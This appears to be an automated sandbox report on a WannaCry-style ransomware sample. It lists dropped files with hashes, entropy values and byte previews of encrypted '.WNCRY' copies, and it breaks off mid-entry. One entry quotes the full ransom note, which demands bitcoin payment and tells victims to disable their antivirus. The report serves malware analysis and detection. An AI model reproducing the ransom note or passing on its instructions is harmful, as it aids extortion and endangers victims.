                                                                                                                                                                              Preview:WANACRY!.......V.z..S. /x..,.VyW.U...!Lm1.Xf.Aj.bj.i^._ ..(.B z.o.(8...g.hv..=Z......9...;g.....U..{..:q.p.."Mu..O...k..{..w{..*..0q".a..>c.E.T....d..".;.<3<...y.......q...e..a?T....=.z`o.t....y....[cz..O....v..^8(.U.ecWn...h..}>.....w%.]X@.e...j.T.o...............>UI\.R..UH.D>.p..i.%;...".#.k....O.Q|>.@m.:r.N.......=1J.%.2..L..E.m..*.....K.RW7gV....]Rs8.p....|.t..y.=.I+...(/..om......B#.u..Z...F.fg.....)ef.D...r.fP,.3.ol..&I..@.kS.u...h..tS..0...F.:.......EP+...8l.....X....2....NT....*.5..^.........:..#.Z.t... ....O_...F..........,.[..~.!,.......|xiyOD..Z.X....,;w'...g.....F...{..D.e..v.._G.DKW.:TWU... l.{>.?/.>...t.0.}..F...L..}..K.A.4c1m....s...@.X..Wk..o3.Jq.............+.4.v.|...L..(@..Hu8..6....bn..}+._.j..@jE..z.......<..o._1...}..$.a;....0.!.;.....Gd..,-....iG.@..R _ .}7.\.>..=...W.Z....2...&8;p..\n........_..u.9...n~....be.J..../R.....%^...V].@C./..%.............i{>Yx...&T9.r.UO.O.b.0...g..-P.......#n.~pm.....5....KA....~...W.

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.784305841131773
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:oAStleKAQ8uMRL7lvax0M5+3aOIKg8ZeAXiNmm03C5dt2MqpUfQ5:TStleKoO0Mk3aONGU3C5dkMKo2
                                                                                                                                                                              MD5:530DE8661A95FE3D89595244B0658463
                                                                                                                                                                              SHA1:6679ADCEF840F846557D7EB7B1705B8CFF1CD2C6
                                                                                                                                                                              SHA-256:A7B52CD64CBB156F17AA882E9C730D045F7EE867945E196F5A6D5475295C577D
                                                                                                                                                                              SHA-512:BFD2A4869A620D1CBC8B5E48292D14476F948CE38F9DAFA5AED3BB1AA5FEBEA64115D7F87835BD5D3482E291FB1F0BACADAF56D9A53F08B6232764DB023AC0B7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..F.LB.f.s........(...03..p)..;...?....(..s.?.+Da..E1...M...*.C....;.m15........^*.G%lW../G.7.K........_..NfX.......0..gW\..Uf.....o0+r..1`y.D9.c.~.2...y..,...\A=.N...xS...7..0...8.....G....F..!.+bd.U.....B..6..q_...x.C..!..W.Y.)A.2%]..s............d.....-..fKc..K..u,2'...L........pl+pq.].t'..7W...Q..r]......:.8&..d..7..+.7-..3.z.6..g.h.>.}"*.;..\..R&}..`...M....`t...ev&...[.of..(....R...8.R..P..l;..{..ar(.p..v=4...............F..J1).+xP.]m.V..H..,g0..X.F......%..L~\.7V.-n;*.z..X...!.7.c..&............t.k..q.e..H.. ..3t...!.yB.d....XF....Fq.V..2...]./..+fmu...,..F.( m.$.?.[aM..^..jo....A-R.\.xl1y..6..s...(...";.>..;<..XqY...#.H@@-..!L...=.Mr.(....[...-....}......~hL..^..L..Z..L.V[ ..o......H.5V..,K..n&.&.V.M.f.y.pT...Av.+5.V....y..:.....g...P}.C..Y.Xf..'.e.^.........6....q.n.jX3%."a.[No.......U0.t..8........H.DI...|3.?.K..x..aT.....Z.........3&o.[..D..K.R..3..!...Pv.X..J8...l..Pe......c.........o.U.) .6.o..&.J.X.."G..).._......h.%k..t..W*z.fF.

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.818592719013415
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6qYgisCHGOy4bmhuNu7o3wH/h1uy49YoRi8BvYavPR4IA7BoOdZe0:bk6nYOy4ahuNu7o3y/h0R9jVP3R9A9oE
                                                                                                                                                                              MD5:953263D66141648D62F0D4BE89BECA70
                                                                                                                                                                              SHA1:0092916E59736B7C0043AD09A16A47E930A4757D
                                                                                                                                                                              SHA-256:175814BD1EFC569B657609D6A2EBACF447129BEE24FAACFFC9AC0E1A3AF9EA68
                                                                                                                                                                              SHA-512:F3294F9C1A36027BDAFD95C0D0A028BBEE7CA8392FB407C6A7B1BD5BE4B7E4AB94A28842BA54CB622F62696A6F0D90AF8580E7D5D8667CF781A23EF196150F6E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....X.S..=j+.[..Z;..4]...c...sb..d0....... ..b....!..|.....9[.k..".......p.A..q...!......:...`...q...z.../.....=3..fX......n......ac..x2.....kY..<.s.d.....g.T.....].\.".2rp..:....i..7.?v.;9}...U7..3....,F.h..W&.l..$.V.Z......*..cy..e......mi..8...............Gu...u1N3D...I.f....(M.......H...$...J..jrw...X.g.J..09Y..V.....4[.n.....nv<../..m.aC.x7a...3_O.)=.6.....L3..;F....~.[.'.......6~...{....).e...{..-..>.B.969.LD<.?Y0.D..Th.h.L....[.].gu.Q.d.......:.Z.,.x.....aW..&o..!........../'l......8..OV.......I.........uG....e....j..._..n..H...FZ{..z....Fk./.I..W......!z...].....p....&{oC..v.....w.>T.s.`..{p...s^..L.....K....... .vJ\..l.ivZ*...`w^....@.$'l.\.,..p..6.F.Pt.+'N......0.jO.....x..m..HC..JX(.obA..O..+..b.....`......w.7 *.....b=$].<..p.....f...?...wN...!....2;4..../;....6...C*Z....dp.rs..].F..!...O(.f..8...n...c0.n...y.z....NH.{.2..&.....>\.!...\...........^{...-.L......S...3=..8p^;.~..tJAf..X.......=....`.....L..c.RLHLN..E.c..G.1.<.

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.818592719013415
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6qYgisCHGOy4bmhuNu7o3wH/h1uy49YoRi8BvYavPR4IA7BoOdZe0:bk6nYOy4ahuNu7o3y/h0R9jVP3R9A9oE
                                                                                                                                                                              MD5:953263D66141648D62F0D4BE89BECA70
                                                                                                                                                                              SHA1:0092916E59736B7C0043AD09A16A47E930A4757D
                                                                                                                                                                              SHA-256:175814BD1EFC569B657609D6A2EBACF447129BEE24FAACFFC9AC0E1A3AF9EA68
                                                                                                                                                                              SHA-512:F3294F9C1A36027BDAFD95C0D0A028BBEE7CA8392FB407C6A7B1BD5BE4B7E4AB94A28842BA54CB622F62696A6F0D90AF8580E7D5D8667CF781A23EF196150F6E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....X.S..=j+.[..Z;..4]...c...sb..d0....... ..b....!..|.....9[.k..".......p.A..q...!......:...`...q...z.../.....=3..fX......n......ac..x2.....kY..<.s.d.....g.T.....].\.".2rp..:....i..7.?v.;9}...U7..3....,F.h..W&.l..$.V.Z......*..cy..e......mi..8...............Gu...u1N3D...I.f....(M.......H...$...J..jrw...X.g.J..09Y..V.....4[.n.....nv<../..m.aC.x7a...3_O.)=.6.....L3..;F....~.[.'.......6~...{....).e...{..-..>.B.969.LD<.?Y0.D..Th.h.L....[.].gu.Q.d.......:.Z.,.x.....aW..&o..!........../'l......8..OV.......I.........uG....e....j..._..n..H...FZ{..z....Fk./.I..W......!z...].....p....&{oC..v.....w.>T.s.`..{p...s^..L.....K....... .vJ\..l.ivZ*...`w^....@.$'l.\.,..p..6.F.Pt.+'N......0.jO.....x..m..HC..JX(.obA..O..+..b.....`......w.7 *.....b=$].<..p.....f...?...wN...!....2;4..../;....6...C*Z....dp.rs..].F..!...O(.f..8...n...c0.n...y.z....NH.{.2..&.....>\.!...\...........^{...-.L......S...3=..8p^;.~..tJAf..X.......=....`.....L..c.RLHLN..E.c..G.1.<.

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.793893221326175
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:j/Jg+TIzjWXXrgAY3lJpYsqgb8Gn/2nA8aHDIDOpJ7Xq5tyy/upnCn:jxg+TzQJpggb8C2nATH8DiBCn
                                                                                                                                                                              MD5:A89916EC72D3E62A1CA10D09ECE30B39
                                                                                                                                                                              SHA1:C457E4EA8C3227FE7C34417E51F429E5FB38D8CC
                                                                                                                                                                              SHA-256:C03885454B57ED34464C29A3FCDD1A200C8E62EA0FF7FC4DD465C8B135F18A14
                                                                                                                                                                              SHA-512:9AE154B2C5CBCEA668EBC2E4FC287C21AA2174CDA62A88FAD50AF07A811353054C024D33602CED10C5BB64E79AD3CDA5C359C500274DFB4A35EA96CF8EAB47AD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.U.(.x.l.*..=.]NFL....x.|!by.+WT5Q....D...|...z.....`v... .T.........HD..'k.*..m..)..&...5.4#|...Q2<<.!......~.U..H..AcL.._...W......j..*..XO....X.'...9.3BU...*l......aQ^..y......;:b'...O.m..3.%".9htj^.."K.-l..:m..qG>.......)#....../.ZX%Y....X...V...(.$6R{:..(........bPc,.c....j;......9gv....K.....c-.L...9.<..e.N....y'2.. .|....0L.o.=;...o.g.....j..3...2.+y1I......<..U.a.J.U..!c.;..D.cHT0.nA.x......[.W.......@...K..n.j...,.P..a.:.].......=`... .P..PfD@..x.s.(.O......e..z..}.Y..v..M..3e.S..V1.p5,hD....{.......Q..=...(..B.6o.".Y,.Z.a(.....?\..B..G..0...i.Sy.......'..........&.5.I....*|.%!.}..6....WN.T.......8..C(,-.......K.5.R.....#?I_.../F.........z.01.[.W............t..p....sfMM..............L.e...L.%..N..}y).#".h....k...g..A.._.b...>.A..f..*u$.iL..f.9.....D%..U.1.H.]}..&R...I.....NG...').(xY5...\q-..\}.A....(m..N.\...#X.U......&GQ....u...-.Z....f>..V..j...]Q...\.7..>.....'Z..e-..../6{.......!..Oz1.qFsM....uW.J.zg.......3L.q.'.*.kB3.v.J.

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.847499273564947
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkZ5KXCoe4KkiXtBMgWNhnLv9fcB/Scnxi8wDy0dHdeHo+OyI0nVAmYwVsGUH:bkZ5KYVtBMBN1lfcp+2UHd+OyI6VAmfm
                                                                                                                                                                              MD5:62615C82E41C2F6BE60B25420EC74060
                                                                                                                                                                              SHA1:C722F47FFA9AA4D30F31555B1132E324C7697BA4
                                                                                                                                                                              SHA-256:E49D5E5CF499E889F1FFFB23BA33EAA87BE83D1856B1C9AB05EF19252C5D5A4F
                                                                                                                                                                              SHA-512:06A80E8FD110D651121FF339377F5B40FB1FD04D6C2D7BCC5CBB38BD044AD0D4857576BEA98D6F35F293DD254537A7E4BB5D0BCA38080ADC0E2B72E776EB040D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....^.P.H....3.u.g..v5U..0........"8..<.0...31+...u.s.6.....[.K...+B.."H{.U................/fQ.(K7".Q...b[.T...V>t..do.......U..c...".Z.;}..V..B..g..b.5........^4G.]...Pv.......K.........s.%.O'}.....K....}....uk5.....}R.........]....y......I."ea..............Q...X....3..P.<.}.^R...q....#.4.[........ .N.>...WSc.....T.i.+q...yUIH......D.5C.B#q..;$.HG..7..;_.......@?.@.Y*i...p3.....H.@zc..E.z...z.U..[.....94.n.%. >.A.......X...P.q...1...#.m..E.@~.).?..ug.uf....Zk}.3y..p1.B..h.n..b......~.NY%)..]1a...'..".!)..t.V.B.-n...v.Y?...f..,.b.o....ae.]0..4Fi..d..OL..U......^3.9.....Dy*.^W...E...Z........A......d.e...*U..H.+"..O..E..B..&..Un..K2..$2b..Ca.%N...<..WW.r(..i..".E........IR.>......5.#..*S..& J.;.....7tq..R.....%p..}..SR..Afw^T....5..@...h.Q.....3!..RqQ...>.K_Q\X...k.2..A\.m.4........m=#[...[..D....3......Yh..Q.......?...L.&..^..hl..w-S.+.....F.A.m..GH... .]].(%jJC&B"BZ:..alt...\..8......!S..l..P..]..e....K...M..Gem...j...

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.847499273564947
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkZ5KXCoe4KkiXtBMgWNhnLv9fcB/Scnxi8wDy0dHdeHo+OyI0nVAmYwVsGUH:bkZ5KYVtBMBN1lfcp+2UHd+OyI6VAmfm
                                                                                                                                                                              MD5:62615C82E41C2F6BE60B25420EC74060
                                                                                                                                                                              SHA1:C722F47FFA9AA4D30F31555B1132E324C7697BA4
                                                                                                                                                                              SHA-256:E49D5E5CF499E889F1FFFB23BA33EAA87BE83D1856B1C9AB05EF19252C5D5A4F
                                                                                                                                                                              SHA-512:06A80E8FD110D651121FF339377F5B40FB1FD04D6C2D7BCC5CBB38BD044AD0D4857576BEA98D6F35F293DD254537A7E4BB5D0BCA38080ADC0E2B72E776EB040D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....^.P.H....3.u.g..v5U..0........"8..<.0...31+...u.s.6.....[.K...+B.."H{.U................/fQ.(K7".Q...b[.T...V>t..do.......U..c...".Z.;}..V..B..g..b.5........^4G.]...Pv.......K.........s.%.O'}.....K....}....uk5.....}R.........]....y......I."ea..............Q...X....3..P.<.}.^R...q....#.4.[........ .N.>...WSc.....T.i.+q...yUIH......D.5C.B#q..;$.HG..7..;_.......@?.@.Y*i...p3.....H.@zc..E.z...z.U..[.....94.n.%. >.A.......X...P.q...1...#.m..E.@~.).?..ug.uf....Zk}.3y..p1.B..h.n..b......~.NY%)..]1a...'..".!)..t.V.B.-n...v.Y?...f..,.b.o....ae.]0..4Fi..d..OL..U......^3.9.....Dy*.^W...E...Z........A......d.e...*U..H.+"..O..E..B..&..Un..K2..$2b..Ca.%N...<..WW.r(..i..".E........IR.>......5.#..*S..& J.;.....7tq..R.....%p..}..SR..Afw^T....5..@...h.Q.....3!..RqQ...>.K_Q\X...k.2..A\.m.4........m=#[...[..D....3......Yh..Q.......?...L.&..^..hl..w-S.+.....F.A.m..GH... .]].(%jJC&B"BZ:..alt...\..8......!S..l..P..]..e....K...M..Gem...j...

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.781450266922418
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:jBw+suWMGsIqEsC4v9QaUE2xjR4w4tgG4C8UutxaHKg1jmN5pihk:jcwsD4v9RUjxjKwxG29xkusk
                                                                                                                                                                              MD5:364F73F1259BB7285B317AE7D6221C24
                                                                                                                                                                              SHA1:B5F975DBC816F1851C8D80E57875307E0B0C73E9
                                                                                                                                                                              SHA-256:EA03942CEBA01D3CB1465DA5FE0ED71AA553474164452892B8451655F2F95219
                                                                                                                                                                              SHA-512:7DBC08F6E912F1B14C2C4754897265D6FFDDF34B707A8CB404F1CD31156896C293455463EB7F01B0046955C8691FBA58EDC0B429130177F4ED2CB5F207C9E0A4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:. ~N.....[Z...#......._m.~...9Y@.o.NAkN._.R.uQ.Q.Weg...G:..s..6F....u.wO....$..o....QQ6..".A..%!.................g..NLcO.f..IM.J..r...Y.....Jr..0}..!...&.e..gN...Q].M.).`i.,...O@.T..l..\.a)..ku..n...Fj9.3....."..F..x(...v..(U'.y.\..]P^...G3....b.Pe."^43m.o.*(l@...o.DV....*<.|.B........:....U..%3h..BS.m........6s..Qu.......&|N.8.$......+CbNb0[UR..."....RU....h..BB..W.._.P.....6...K......l...RY<T.....%...j.8R..N.o.>......<L....uM......FU9.QpV.I.|.. >.4.4.bt.,....[.o.....5.........%.UTjFw..A)..............,..].Hz...oQ..T.......a.....".Z.Aw..g...iK..R...K....x.DN)..@;..V}..D........e..cZ).\Z.....Hl..R.v...*.n......R..{....Wv..]..*5...J~\".}.J..r.~*h..~G?.'.lym...g....\.C..:,.]...R..9.c../k.........l..ho4v....z....8..>..(........&.h.'e.Fc.I.@..V.*3.ki.F<....9.A.^f...T..r.G?U.a.4_.Fv.'....NbyV..e>.%..y...,......ov.g..s,...S....,.2.[.Vv.*...5y........U...$8G..Z.....F-I....L.A.MB."...,.c...mP..w..k..4.....)...<.......>.<._..s....

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853901713044914
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/OLztg1i1GtYNYF+6QCeErkGl3GN7+Hn8a4ghp+Ib0lx9tVs85YF3p:bkutg1UGtYNYKCe6l35H8a44P0pttYFZ
                                                                                                                                                                              MD5:47E3107F9F6CF58F88B106CB8DF7ECF1
                                                                                                                                                                              SHA1:B016CF3F274DEF3B644AB1C998438F43CFAF19EF
                                                                                                                                                                              SHA-256:94182E7023E4A92A4302920D1B64EADF497BA914A12D71C868000E2230767621
                                                                                                                                                                              SHA-512:C1CB98EB083A10A8A96B24989763D5EF2BD6A6F0453836EDF26A9BBB1C91336FB3341B1817C83E94118B6C997DB32DF7C6E18C6879B33EBF47F441C44A040EE0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....)....)&_....].......Q.E..J.#...qPve.K....U.T......l.k..E.}dvn4..XRK.rf1..h.i].X.^$..T....9..._X...C.s.~....e.)i.?e._AM.....sC*\p...?\m..;.......g-..iC.....!....gT.'.o...S...bW#....-...A..r.._\..).....k.K..c.......K.F..'...;.Jde'Y{.#.e..^..V,..-.u.Ox..............h.z6..w...............c....$u......\..'...Z..}(Z,.c.."...~..8.......tv..W+..ze........!<...46f[.....F_l.uy..O....n..E...fX..J.3.Vw!".j..XV*.......r........S....]..,....V.l....GItF*j].....i..7D....@....M.IF.9.H..1...&b....3.!.T..l~..q.-?^t@.RHxz.B.3d.M...|j.m.x.c.$^6....U.^.}.q.........../.3..9).xB..H.#..r..2..VWE.....0s..C...\....n8...K..,.S.../.WGy........N..vE_..k.b.<\T5...A\..=...<.#.(rD6.{...F.g.N.pB...sLQ...a@.4kN.q..S.{".....s.B..4.cW..i3...-.;C.X...I.5[.....K..gW......]l...$&..".v...j..jl^........|.H......<.M`../>.x..c6.)....umW.|.}b...B#..{W...Q(.?/#..9.'....d..8..;J...(3wFE.[K.*[.|..T....-l...Ixe...EX.....LHM.@..@.~vg....6S..{LH....i.y.K.'t.0.1...d.l.Alu9L

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.853901713044914
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/OLztg1i1GtYNYF+6QCeErkGl3GN7+Hn8a4ghp+Ib0lx9tVs85YF3p:bkutg1UGtYNYKCe6l35H8a44P0pttYFZ
                                                                                                                                                                              MD5:47E3107F9F6CF58F88B106CB8DF7ECF1
                                                                                                                                                                              SHA1:B016CF3F274DEF3B644AB1C998438F43CFAF19EF
                                                                                                                                                                              SHA-256:94182E7023E4A92A4302920D1B64EADF497BA914A12D71C868000E2230767621
                                                                                                                                                                              SHA-512:C1CB98EB083A10A8A96B24989763D5EF2BD6A6F0453836EDF26A9BBB1C91336FB3341B1817C83E94118B6C997DB32DF7C6E18C6879B33EBF47F441C44A040EE0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....)....)&_....].......Q.E..J.#...qPve.K....U.T......l.k..E.}dvn4..XRK.rf1..h.i].X.^$..T....9..._X...C.s.~....e.)i.?e._AM.....sC*\p...?\m..;.......g-..iC.....!....gT.'.o...S...bW#....-...A..r.._\..).....k.K..c.......K.F..'...;.Jde'Y{.#.e..^..V,..-.u.Ox..............h.z6..w...............c....$u......\..'...Z..}(Z,.c.."...~..8.......tv..W+..ze........!<...46f[.....F_l.uy..O....n..E...fX..J.3.Vw!".j..XV*.......r........S....]..,....V.l....GItF*j].....i..7D....@....M.IF.9.H..1...&b....3.!.T..l~..q.-?^t@.RHxz.B.3d.M...|j.m.x.c.$^6....U.^.}.q.........../.3..9).xB..H.#..r..2..VWE.....0s..C...\....n8...K..,.S.../.WGy........N..vE_..k.b.<\T5...A\..=...<.#.(rD6.{...F.g.N.pB...sLQ...a@.4kN.q..S.{".....s.B..4.cW..i3...-.;C.X...I.5[.....K..gW......]l...$&..".v...j..jl^........|.H......<.M`../>.x..c6.)....umW.|.}b...B#..{W...Q(.?/#..9.'....d..8..;J...(3wFE.[K.*[.|..T....-l...Ixe...EX.....LHM.@..@.~vg....6S..{LH....i.y.K.'t.0.1...d.l.Alu9L

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.846222515107511
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:v+F4ih8eM8kCAVBiyMwEVMKl8gQqL0pR6Z:mFph8eM8AVkeEXlBz4AZ
                                                                                                                                                                              MD5:10647C43066B809CD0A04C3B74853A84
                                                                                                                                                                              SHA1:1A0ABB52713C38556C3425C0B6F8D071C89BE629
                                                                                                                                                                              SHA-256:87F69F784AF7A45D20AC485CD6251336977D0B9BFD339A0FD0419DF169242DAC
                                                                                                                                                                              SHA-512:317B871BCE4DEA6906560E39B607E01DA2E65046FAA5A92D399DE27B387918350EBD1246245A9BDFB8620C8ECA6976240809DECA61D30F1BF5A99C932B2EF084
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.....Ea....k.Yh.!...c..z.0.z.?...b`.)q.+oW..[.r..OG..<....'V1.XKC..g.`...... .O#.X....~..T.}..^."....Otw.[..%......]'..r.j......F..6..>...(_Op<...|.........&.M..C7.u..q.W.....H.B.....D.....~y[..b..w..P..|a)........-.==.../P.1......z..S......ld.we.d..r'..^..3.._.PT..~..`.jKX.....4..|..u..l..`;P.Z...(..!.J........cz...Q.C.g.]0.{H.D.....~...7..)..p..n4./Fb.M.V.*.@.....S.aM...w^.r..4TXd..B7..k..73..B..8...6K....w..f.u..,.b....i..|.?C..,.......i..P...}..}.....7.......f..P....Q...X7|.3E.Z.....bOQ!X..`.|.V.V".i.).)W..|f..r..`.....),.w.....U..7.<..bE^n.R...^o!.../v.`..fpm.D\...2..M.N....I....+y.....F=ma..=.#a..:.6.qv_..J]G."rq..G_.. `+...8.{....GRq.U....y...}..9..17"^...~`.@.1....a...Cl"...J.D.Z..a...t..h..+....F5...R...8.....-n......w..eIbv.i.0...<r...u..i.b.z.0.}.t8...)_.d....'..[>.@.b>......>ixZE..X@....s.W../C..%4.+.p....h.G.!y...;,.&...&.Z...8...T.r.-.=Nx._.....8.6e0Bu....WR6.%-..Y[1.[..}6..P{O.....5yY (.{.....?........'.4...

                                                                                                                                                                              C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
